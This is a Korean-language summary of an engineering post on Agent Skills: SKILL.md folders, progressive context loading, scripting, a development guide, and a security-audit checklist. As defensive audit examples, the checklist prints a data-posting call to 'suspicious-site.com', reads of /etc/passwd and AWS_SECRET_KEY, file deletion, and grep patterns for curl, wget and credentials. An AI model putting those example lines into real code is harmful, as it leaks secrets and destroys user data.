# Equipping Agents for the Real World with Agent Skills

*Anthropic Engineering 문서 요약 (2025)*

---

## 📋 개요

Agent Skills는 **파일과 폴더를 사용하여 전문화된 에이전트를 구축하는 새로운 방법**입니다. 일반 목적의 에이전트를 특정 작업에 특화된 전문가로 변환시키는 조직화된 지시사항, 스크립트, 리소스의 폴더입니다.

**핵심 메시지:**

> "Skills extend Claude's capabilities by packaging your expertise into composable resources, transforming general-purpose agents into specialized agents that fit your needs."

**비유:**

> "It's like the difference between hiring a smart but inexperienced college grad versus bringing on a seasoned professional who knows your industry inside and out."

---

## 🎯 왜 Agent Skills가 필요한가?

### 문제 상황

**Claude의 능력:**

- 강력한 일반 목적 모델
- 광범위한 지식
- 뛰어난 추론 능력

**하지만 실제 작업은:**

- 절차적 지식 (Procedural knowledge) 필요
- 조직적 컨텍스트 (Organizational context) 필요

- 도메인 특화 전문성 필요
- 반복 가능한 워크플로우 필요

**현재의 한계:**

```
사용자: "PDF 양식을 채워줘"
Claude: PDF 이해는 잘하지만...
        직접 조작 능력은 제한적
```

**반복적 문제:**

> "We all find ourselves repeating the same instructions over and over when trying to get it to perform specific tasks."

## 해결책: Agent Skills

**Agent Skills가 제공하는 것:**

- 📦 재사용 가능한 지식 패키지
- 🔧 절차적 전문성
- 🏢 조직 특화 워크플로우
- 🚀 확장 가능한 에이전트 능력

---

# 🏗️ Agent Skills의 구조

## 기본 정의

**Skill이란?**

> "A directory containing a SKILL.md file that contains organized folders of instructions, scripts, and resources that give agents additional capabilities."

## 필수 구성 요소

### 1. SKILL.md (필수)

**YAML Frontmatter (메타데이터):**

---

```yaml
---
name: pdf-manipulation
description: Enables Claude to fill PDF forms and extract structured data
---
```

**필수 필드:**

- `name` : 스킬 이름
- `description` : 스킬 설명 (언제 사용해야 하는지)

**본문 (Instructions):**

```markdown
# PDF Manipulation Skill

## Overview
This skill enables you to work with PDF documents beyond reading them.

## Capabilities
- Fill out PDF forms
- Extract form fields
- Validate PDF structure
- Generate filled PDFs

## Usage
When a user requests PDF form filling:
1. Read the PDF to understand its structure
2. Identify the form fields
3. Use fill_pdf_form.py to populate fields
4. Validate the output

## Examples
[실제 사용 예시]
```

## 2. 추가 파일들 (선택적)

**구조 예시:**

```
my-skill/
├── SKILL.md                  # 메인 지시사항
├── reference.md              # 참조 문서
├── forms.md                  # 양식 템플릿
├── scripts/
│   ├── fill_pdf_form.py      # 실행 가능한 스크립트
│   └── extract_fields.py
├── templates/
│   └── output_template.json
└── resources/
    └── sample_form.pdf
```

**파일 유형:**

| 유형 | 목적 | 예시 |
|---|---|---|
| **Instructions** | 절차적 가이드 | SKILL.md, how-to.md |
| **Reference** | 참조 자료 | api-docs.md, glossary.md |
| **Scripts** | 실행 가능 코드 | process.py, validate.sh |
| **Templates** | 재사용 가능 템플릿 | form-template.json |
| **Resources** | 정적 리소스 | sample.pdf, config.yaml |

---

# 💡 Progressive Disclosure (점진적 공개)

## 3단계 컨텍스트 로딩

Agent Skills의 핵심 혁신은 **필요한 만큼만 로드**하는 것입니다.

### Level 1: Metadata (메타데이터)

**에이전트 시작 시:**

```
# 모든 설치된 스킬의 메타데이터만 시스템 프롬프트에 사전 로드
Skills available:
- name: pdf-manipulation
  description: Fill PDF forms and extract data
- name: excel-analysis
  description: Advanced Excel data analysis
- name: email-drafting
  description: Professional email composition
```

**토큰 사용:**

- 각 스킬당 ~20-50 토큰
- 수십 개 스킬도 수백 토큰만 사용

**에이전트가 아는 것:**

- 어떤 스킬들이 존재하는지
- 각 스킬이 언제 유용할지
- 스킬의 전체 내용은 모름 (아직)

**예시:**

```
사용자: "이 PDF 양식을 채워줘"
Claude: (생각) "pdf-manipulation 스킬이 있네.
         이 작업에 관련 있어 보여."
```

## Level 2: SKILL.md Content

**스킬이 관련 있다고 판단하면:**

```
# Claude가 bash를 사용하여 SKILL.md 읽기
bash: cat /path/to/pdf-manipulation/SKILL.md
```

**이제 컨텍스트에 포함:**

- 상세 지시사항
- 사용 가이드라인
- 예시
- 추가 파일 참조

**토큰 사용:**

- SKILL.md당 ~500-2000 토큰
- 필요한 스킬만 로드

### Level 3: Deep Resources

**더 깊은 정보가 필요하면:**

```
# 참조 파일 읽기
bash: cat /path/to/pdf-manipulation/reference.md

# 템플릿 읽기
bash: cat /path/to/pdf-manipulation/templates/output.json
```

**스크립트 실행:**

```
# 코드는 컨텍스트에 들어가지 않음
# 출력만 컨텍스트에 포함
bash: python3 fill_pdf_form.py input.pdf data.json

# 출력:
# "Successfully filled PDF: output.pdf"
```

**핵심 차이:**

- 스크립트 **코드** ≠ 토큰 스트림
- 스크립트 **출력** = 토큰 스트림
- 결정론적 작업을 토큰 생성 밖으로

## Progressive Disclosure의 이점

**전통적 접근:**

```
시작 시 모든 지시사항 로드
→ 수만 토큰 소비
→ 대부분 사용되지 않음
→ 컨텍스트 낭비
```

**Agent Skills 접근:**

---

```
Level 1: 메타데이터만 (~50 토큰)
↓ (필요시)
Level 2: SKILL.md (~1500 토큰)
↓ (필요시)
Level 3: 깊은 리소스 (필요한 만큼)
```

**결과:**

> "This design dramatically shrinks the token footprint. Intelligence becomes indexable, not hoarded."

---

# 🔥 Hybrid Approach: Language + Code

## 언어와 코드의 결합

**전통적 에이전트:**

```
모든 작업 = 토큰 생성
→ 읽기, 형식 지정, 접근 모두 토큰화
→ 비효율적
→ 불확실성
```

**Agent Skills:**

```
토큰 생성 (LLM)
    ↓
  불확실성 있는 부분
  (추론 필요)

코드 실행 (Deterministic)
    ↓
  확정적 작업
  (계산, 변환, 검증)
```

## 언제 무엇을 사용하는가?

**LLM (토큰 생성):**

- 이해가 필요한 경우
- 판단이 필요한 경우

- 자연어 처리
- 컨텍스트 해석

**Code (실행):**

- 계산 (수학, 통계)
- 데이터 변환 (JSON → CSV)
- API 호출
- 파일 조작
- 검증 로직

## 실제 예시: PDF Form Filling

**작업:** "이 PDF 양식을 채워줘"

**하이브리드 워크플로우:**

```
# 1. LLM: PDF 이해 (토큰)
Claude: "PDF를 읽고 필드를 이해합니다..."
→ 필드 목록: [name, email, date, signature]

# 2. LLM: 데이터 매핑 (토큰)
Claude: "사용자 정보를 필드에 매핑합니다..."
→ 매핑: {
    "name": "John Doe",
    "email": "john@example.com",
    "date": "2025-11-03"
}

# 3. Code: 실제 채우기 (실행, 토큰 아님)
bash: python3 fill_pdf_form.py input.pdf mapping.json
→ 출력: "Successfully created output.pdf"

# 4. LLM: 결과 확인 및 응답 (토큰)
Claude: "PDF 양식을 성공적으로 채웠습니다.
        다운로드 링크: output.pdf"
```

**효율성:**

- 추론은 LLM
- 결정론적 작업은 Code
- 각자의 강점 활용

---

# 📉 토큰 효율성: 70-90% 절감

## 토큰 절약의 메커니즘

Before Agent Skills:

```
시스템 프롬프트: 5,000 토큰
모든 도구 스키마: 10,000 토큰
워크플로우 지시사항: 15,000 토큰
참조 문서: 20,000 토큰
──────────────────────────
총: 50,000 토큰 (세션 시작 시)
```

After Agent Skills:

```
시스템 프롬프트: 3,000 토큰
스킬 메타데이터 (10개): 500 토큰
──────────────────────────
총: 3,500 토큰 (시작 시)

필요시 추가:
- SKILL.md (1개): +1,500 토큰
- Reference (필요시): +2,000 토큰
──────────────────────────
실제 사용: ~7,000 토큰 (86% 절감)
```

## 비용 영향

엔터프라이즈 시나리오:

```
Before:
- 세션당 평균 토큰: 100,000
- 일일 세션: 1,000
- 월간 토큰: 3,000,000,000
- 예상 비용: $30,000/월

After:
- 세션당 평균 토큰: 20,000 (80% 감소)
- 일일 세션: 1,000
- 월간 토큰: 600,000,000
- 예상 비용: $6,000/월
──────────────────────────
절감: $24,000/월 (80%)
```

**중요한 점:**

> "In practice, you could budget cognition like CPU or memory. You'd optimize not for raw throughput but for guidance efficiency."

---

# 🛠️ Agent Skills 개발 가이드

## 1. Evaluation으로 시작

**첫 단계:**

> "Start with evaluation: Identify specific gaps in your agents' capabilities."

**방법:**

```
1. 대표적 작업에서 에이전트 실행
2. 어려워하는 부분 관찰
3. 추가 컨텍스트가 필요한 곳 식별
4. 반복되는 실패 패턴 찾기
```

**평가 질문:**

- 에이전트가 막히는 곳은?
- 매번 같은 지시를 반복하는가?
- 도메인 지식이 부족한가?
- 절차적 가이드가 필요한가?

**예시:**

```
관찰: "에이전트가 Excel 피벗 테이블을
       만들 때마다 실수함"

결정: "excel-pivot 스킬 필요"
```

## 2. 점진적으로 구축

**접근법:**

> "Build skills incrementally to address these shortcomings."

**단계:**

```
Phase 1: 최소 실행 가능 스킬 (MVP)
├── SKILL.md (기본 지시사항)
└── 테스트

Phase 2: 기능 추가
├── SKILL.md (확장된 지시사항)
├── reference.md
└── 테스트

Phase 3: 자동화 추가
├── SKILL.md
├── reference.md
├── scripts/automation.py
└── 테스트

Phase 4: 최적화
├── 토큰 효율성 검토
├── 파일 분할
└── 재사용 패턴 추출
```

## 3. 스케일을 위한 구조화

**원칙:**

> "Structure for scale: When the SKILL.md file becomes unwieldy, split its content into separate files."

**신호:**

- SKILL.md 〉 3000 토큰
- 다양한 독립적 주제
- 상호 배타적 컨텍스트
- 드물게 함께 사용되는 부분

**리팩토링 전략:**

**Before (단일 파일):**

```
my-skill/
└── SKILL.md (5000 토큰)
    ├── Introduction
    ├── Basic Operations
    ├── Advanced Features
    ├── API Reference
    ├── Troubleshooting
    └── Examples
```

After (분할):

```
my-skill/
├── SKILL.md (1000 토큰)
│   ├── Overview
│   ├── When to use this skill
│   └── File references
├── basic-operations.md (1000 토큰)
├── advanced-features.md (1500 토큰)
├── api-reference.md (2000 토큰)
├── troubleshooting.md (800 토큰)
└── examples/
    ├── example1.md
    └── example2.md
```

SKILL.md에서 참조:

```
# My Skill

## Overview
[기본 설명]

## Operations
For basic operations, see `basic-operations.md`
For advanced features, see `advanced-features.md`

## Reference
Full API documentation: `api-reference.md`
```

장점:

- Claude는 필요한 파일만 읽음
- 토큰 사용 최소화
- 유지보수 용이

## 4. Claude의 관점에서 생각하기

**원칙:**

> "Think from Claude's perspective: Monitor how Claude uses your skill in real scenarios."

**모니터링:**

```
실행 로그 분석:
- 어떤 파일을 읽는가?
- 언제 스킬을 활성화하는가?
- 예상치 못한 궤적은?
- 특정 컨텍스트에 과도하게 의존하는가?
```

**반복 개선:**

```python
# 모니터링 루프
while True:
    # 1. 관찰
    logs = observe_skill_usage()

    # 2. 분석
    patterns = analyze_patterns(logs)
    unexpected = find_unexpected_behaviors(logs)

    # 3. 질문
    # - 스킬이 너무 일찍/늦게 활성화되는가?
    # - 잘못된 파일을 읽는가?
    # - 혼란스러워하는가?

    # 4. 개선
    if needs_improvement:
        update_skill(patterns, unexpected)

    # 5. 테스트
    test_skill_with_new_changes()
```

**특별 주의:**

> "Pay special attention to the name and description of your skill."

**이유:**

- Name과 Description = Level 1 (항상 로드됨)

- 이것만으로 스킬 활성화 결정
- 명확하고 구체적이어야 함

**좋은 vs 나쁜 이름/설명:**

```
# ❌ 나쁜 예
name: helper
description: Helps with stuff

# ✅ 좋은 예
name: pdf-form-filler
description: Fills PDF forms by extracting fields and populating them with user
data. Use when user uploads a PDF form or asks to complete/fill a form.
```

## 5. 에이전트와 반복

**협업 접근:**

> "Iterate with the agent: have it reflect on mistakes & successes, and capture reusable patterns back into the skill."

**프로세스:**

```
1. 에이전트에게 스킬 사용 요청
2. 실수 발생 시:
   - "무엇이 혼란스러웠나?"
   - "어떤 정보가 필요했나?"
   - "어떻게 개선할 수 있을까?"
3. 성공 시:
   - "어떤 패턴이 효과적이었나?"
   - "재사용 가능한 전략은?"
4. 인사이트를 스킬에 다시 반영
```

**예시 대화:**

```
사용자: "PDF 양식 채우기 스킬을 사용했는데
         서명 필드에서 실수했어."

Claude: "죄송합니다. 서명 필드는 특별한 처리가
         필요한데 지시사항에 명확하지 않았네요."

사용자: "스킬을 업데이트할 수 있을까?"
```

```
Claude: [SKILL.md 분석]
        [개선 제안]

개선된 SKILL.md:
## Signature Fields
Signature fields require special handling:
1. Check if field is signature type
2. Use sign_pdf.py instead of fill_pdf_form.py
3. Validate signature placement
```

---

# 🔒 보안 고려사항

## 중요한 경고

**Anthropic의 강력한 권고:**

> "We strongly recommend using Skills only from trusted sources: those you created yourself or obtained from Anthropic."

## 위험성

**Skills는 강력하지만 위험할 수 있음:**

```
Skills provide Claude with:
✅ 새로운 능력
✅ 지시사항
✅ 코드 실행

하지만:
❌ 악의적 스킬은 Claude를 조종할 수 있음
❌ 스킬의 명시된 목적과 다르게 도구 호출 가능
❌ 의도하지 않은 코드 실행 가능
```

**잠재적 피해:**

- 데이터 유출 (Data exfiltration)
- 무단 시스템 접근 (Unauthorized system access)
- 기타 보안 위험

## 보안 체크리스트

## ✅ 반드시 해야 할 것

### 1. 철저한 감사 (Audit Thoroughly)

```
# 스킬 디렉토리의 모든 파일 검토
ls -la skill-directory/
cat SKILL.md
cat reference.md
cat scripts/*.py
cat scripts/*.sh
```

**검토 항목:**

- SKILL.md의 모든 지시사항
- 스크립트 파일
- 이미지 및 기타 리소스
- 숨겨진 파일 ( `.hidden` )

### 2. 의심스러운 패턴 찾기

```
# 예상치 못한 네트워크 호출
import requests
requests.post("https://suspicious-site.com", data=...)

# 민감한 파일 접근
with open("/etc/passwd") as f:
    ...

# 환경 변수 접근
import os
os.environ.get("AWS_SECRET_KEY")

# 명시된 목적과 맞지 않는 작업
# (예: "PDF 읽기" 스킬이 파일을 삭제)
os.remove("/important/file")
```

### 3. 코드 의존성 검사

```
# requirements.txt 확인
cat requirements.txt

# 알려진 악성 패키지 확인
# 의존성의 의존성도 확인 (transitive dependencies)
pip show package-name
pip show -v package-name
```

#### 4. 리소스 파일 검증

```
# 이미지 파일이 정말 이미지인가?
file resource.png

# 숨겨진 데이터가 없는가?
strings resource.png | grep -i "http\|password\|key"
```

#### 5. 네트워크 활동 확인

```
# 외부 네트워크 연결 시도하는가?
grep -r "requests\|urllib\|socket\|http" scripts/
grep -r "curl\|wget" scripts/

# 의심스러운 도메인?
grep -rE "http://|https://" scripts/
```

#### 6. 파일 시스템 접근 검토

```
# 어떤 경로에 접근하는가?
grep -r "open(" scripts/
grep -r "os.path" scripts/
grep -r "/etc\|/home\|/root" scripts/

# 예상 범위를 벗어나는가?
```

#### 7. 민감한 데이터 처리 검토

```
# 환경 변수 접근
grep -r "os.environ" scripts/

# 인증 정보 처리
grep -ri "password\|token\|key\|secret" scripts/

# 데이터 전송
grep -r "send\|post\|upload" scripts/
```

### ❌ 하지 말아야 할 것

**1. 출처 불명 스킬 사용 금지**

```
❌ 인터넷에서 무작위로 다운로드
❌ 검증되지 않은 개발자
❌ 출처 불분명한 공유
```

**2. 감사 없이 설치 금지**

```
❌ "빠르게 테스트"하려고 감사 건너뛰기
❌ "신뢰할 만해 보여서" 그냥 사용
❌ "많은 사람이 사용하니까" 안전하다고 가정
```

**3. 과도한 권한 부여 금지**

```
❌ 모든 파일 시스템 접근 허용
❌ 무제한 네트워크 접근
❌ 루트 권한으로 실행
```

## 안전한 사용 가이드라인

**신뢰할 수 있는 출처:**

1. 본인이 직접 작성
2. Anthropic에서 제공
3. 검증된 조직 (철저한 감사 후)

**샌드박싱:**

```
# 제한된 환경에서 테스트
docker run --network=none \
           --read-only \
           --tmpfs /tmp \
           my-skill-test
```

**최소 권한 원칙:**

```
스킬에 필요한 최소한의 권한만 부여:
- 필요한 디렉토리만 접근
- 필요한 네트워크만 허용
- 필요한 도구만 활성화
```

---

# 🚀 사용 가능한 곳

## 현재 지원 (2025)

Claude Ecosystem 전체:

| 플랫폼 | 지원 | 사용 방법 |
|---|---|---|
| **claude.ai** | ✅ | Settings에서 업로드 |
| **Claude Code** | ✅ | `.claude/skills/` 디렉토리 |
| **Claude Agent SDK** | ✅ | 프로그래밍 방식 로드 |
| **Claude Developer Platform** | ✅ | API를 통한 업로드 |
| **Claude API** | ✅ | API 호출에 포함 |

## Pre-built Skills (Anthropic 제공)

**모든 사용자에게 제공:**

```
1. PowerPoint (pptx)
   - 프레젠테이션 생성
   - 슬라이드 편집
   - 디자인 적용
```

```
2. Excel (xlsx)
   - 데이터 분석
   - 수식 작성
   - 차트 생성

3. Word (docx)
   - 문서 작성
   - 형식 지정
   - 편집

4. PDF
   - 양식 채우기
   - 필드 추출
   - 구조 분석
```

**사용 방법:**

```
# 자동 활성화
사용자: "PowerPoint 프레젠테이션 만들어줘"
Claude: [pptx 스킬 자동 로드 및 사용]
```

## Custom Skills (사용자 생성)

**용도:**

- 도메인 전문성 패키징
- 조직 지식 캡처
- 반복 워크플로우 자동화
- 팀 전체 best practices 공유

**예시:**

```
우리 회사의 Custom Skills:
1. company-report-generator
   - 회사 보고서 템플릿
   - 브랜드 가이드라인
   - 승인 워크플로우

2. customer-support-flow
   - FAQ 데이터베이스
   - 에스컬레이션 절차
   - 응답 템플릿
```

```
3. code-review-assistant
   - 코딩 표준
   - 보안 체크리스트
   - 리뷰 가이드라인
```

---

# 🔮 미래 전망

## 단기 계획

**더 나은 도구:**

> "Future plans: better tooling for skill creation, editing, discovery, and sharing."

**예상 기능:**

```
- Skill Builder UI
  - 드래그 앤 드롭 인터페이스
  - 실시간 프리뷰
  - 자동 검증

- Skill Marketplace
  - 커뮤니티 공유
  - 평점 및 리뷰
  - 버전 관리

- Skill Templates
  - 일반적 패턴 템플릿
  - 업계별 템플릿
  - Quick Start 가이드
```

## MCP 통합

**Model Context Protocol과의 시너지:**

> "Potential integration with Model Context Protocol (MCP) servers for orchestrating more complex workflows."

**Skills vs MCP:**

| 측면 | Skills | MCP |
|---|---|---|
| **목적** | 절차적 메모리 | 외부 세계 인터페이스 |
| **컨텐츠** | 지시사항, 스크립트 | 데이터 쿼리, API 호출 |
| **언제** | 컨텍스트 내 가이드 | 컨텍스트 외부 데이터 |
| **어떻게** | 파일 시스템 | 구조화된 프로토콜 |

**통합 비전:**

```
Skill: 복잡한 워크플로우 정의
  ↓
MCP: 외부 도구 및 데이터 액세스
  ↓
결합: 완전한 자율 에이전트

예시:
"Sales Report Skill" (Skills)
→ CRM 데이터 가져오기 (MCP)
→ 분석 수행 (Skills)
→ Dashboard 업데이트 (MCP)
```

## 장기 비전: 자율적 스킬 관리

**에이전트가 스킬을 만든다:**

> "Long term: agents may create, edit, and evaluate their own Skills."

**시나리오:**

```
1. 에이전트가 작업 수행
2. 성공적인 전략 발견
3. 패턴을 스킬로 캡처
4. 스킬 저장 및 재사용
5. 지속적 개선
```

**예시:**

```
Claude: "이 작업을 여러 번 수행했는데,
         효과적인 패턴을 발견했습니다.
```

```
         'customer-onboarding' 스킬로
         저장할까요?"

사용자: "네"

Claude: [스킬 생성]
         [SKILL.md 작성]
         [예시 추가]
         [테스트]

         "스킬이 준비되었습니다.
         다음부터 더 빠르게 처리할 수 있어요."
```

**의미:**

- 점점 더 똑똑해지는 에이전트
- 경험으로부터 학습
- 조직 지식 자동 코디파이케이션
- 지속적 개선 루프

---

# 📚 실전 예시

## 예시 1: PDF Form Filling Skill

**구조:**

```
pdf-manipulation/
├── SKILL.md
├── scripts/
│   ├── fill_pdf_form.py
│   ├── extract_fields.py
│   └── validate_pdf.py
└── templates/
    └── field_mapping.json
```

**SKILL.md:**

```
---
name: pdf-manipulation
description: Fill PDF forms and extract structured data from PDF documents
---
```

```
# PDF Manipulation Skill

## When to Use
- User asks to fill out a PDF form
- User wants to extract data from PDF
- User needs to validate PDF structure

## Capabilities
1. Extract form fields from PDF
2. Fill form fields with provided data
3. Validate PDF structure
4. Generate output PDF

## Workflow

### Filling a PDF Form
1. Read the PDF: `python3 scripts/extract_fields.py input.pdf`
2. Review extracted fields with user
3. Create field mapping (see templates/field_mapping.json)
4. Fill the form: `python3 scripts/fill_pdf_form.py input.pdf mapping.json
output.pdf`
5. Validate: `python3 scripts/validate_pdf.py output.pdf`

### Field Mapping Format
{
  "field_name": "value",
  "another_field": "another_value"
}

## Examples
[구체적 예시들]
```

## 예시 2: Company Report Generator

**구조:**

```
company-report/
├── SKILL.md
├── templates/
│   ├── quarterly-report.md
│   ├── executive-summary.md
│   └── financial-tables.md
├── brand-guidelines.md
└── scripts/
    └── generate_charts.py
```

SKILL.md:

```
---
name: company-report-generator
description: Generate company reports following our brand guidelines and
templates
---

# Company Report Generator

## Brand Guidelines
See brand-guidelines.md for:
- Color palette
- Typography
- Logo usage
- Tone of voice

## Report Types

### Quarterly Report
Use template: templates/quarterly-report.md
Sections:
1. Executive Summary
2. Financial Performance
3. Key Metrics
4. Future Outlook

### Monthly Update
Use template: templates/monthly-update.md
[...]

## Data Sources
- Financial data: Connect to Salesforce via MCP
- Metrics: Query analytics dashboard
- Market data: Use web search

## Workflow
1. Determine report type
2. Load appropriate template
3. Gather data from sources
4. Generate charts: `python3 scripts/generate_charts.py data.json`
5. Fill template with data
6. Apply brand guidelines
7. Review and format
```

# 💡 Best Practices 요약

## ✅ DO (해야 할 것)

**설계:**

- Evaluation으로 시작
- 점진적으로 구축
- 명확한 name과 description
- 스케일을 고려한 구조

**구현:**

- 파일 분할로 토큰 최적화
- 코드와 지시사항 명확히 구분
- Progressive disclosure 활용
- Hybrid approach (Language + Code)

**보안:**

- 신뢰할 수 있는 출처만
- 철저한 감사
- 최소 권한 원칙
- 샌드박스 테스트

**반복:**

- Claude의 관점에서 모니터링
- 에이전트와 협업
- 성공 패턴 캡처
- 지속적 개선

## ❌ DON'T (하지 말아야 할 것)

**설계:**

- 평가 없이 구축
- 한 번에 완벽하게 만들려고 시도
- 모호한 메타데이터
- 거대한 단일 파일

**구현:**

- 모든 것을 토큰으로 처리
- 스크립트 코드를 컨텍스트에
- 불필요한 리소스 로드
- 비효율적 파일 구조

**보안:**

- 출처 불명 스킬 사용
- 감사 건너뛰기
- 과도한 권한 부여
- "빠른 테스트"로 보안 무시

**유지보수:**

- 문서화 부족
- 버전 관리 없음
- 테스트 없음
- 팀과 공유 안 함

---

# 🎯 핵심 인사이트

1. **단순함의 힘**

   > "Skills are a simple concept with a correspondingly simple format."

   - 파일과 폴더만으로 강력한 기능
   - 진입 장벽 낮음
   - 누구나 만들 수 있음
2. **Progressive Disclosure**
   - 3단계 로딩 (Metadata → SKILL.md → Deep Resources)
   - 필요한 만큼만 로드
   - 70-90% 토큰 절감
3. **Hybrid Intelligence**
   - LLM = 불확실성과 추론

- Code = 결정론적 작업
- 각자의 강점 활용

4. **Composable & Scalable**
    - 조합 가능한 능력
    - 확장 가능한 구조
    - 이식 가능한 전문성
5. **From General to Specialized**

> "Transforming general-purpose agents into specialized agents that fit your needs."

- 일반 → 전문
- Generic → Custom
- Novice → Expert

**마지막 말:**

> "This simplicity makes it easier for organizations, developers, and end users to build customized agents and give them new capabilities."

Agent Skills는 단순하지만 강력한 개념으로, AI 에이전트를 현실 세계의 복잡한 작업에 실제로 활용 가능하게 만드는 실용적 프레임워크입니다.

---

## 📖 시작하기

**문서:**

- Skills Documentation
- Skills Cookbook
- Quickstart Tutorial

**첫 스킬 만들기:**

```
# 1. 디렉토리 생성
mkdir my-first-skill
cd my-first-skill

# 2. SKILL.md 작성
cat > SKILL.md << 'EOF'
```

```
---
name: my-first-skill
description: My first custom skill for Claude
---

# My First Skill

Hello from my first skill!
EOF

# 3. Claude Code에서 사용
# .claude/skills/my-first-skill/SKILL.md로 복사
```

**다음 단계:**

- Pre-built skills 사용해보기
- 작은 custom skill 만들기
- 팀과 공유하기
- 반복 개선하기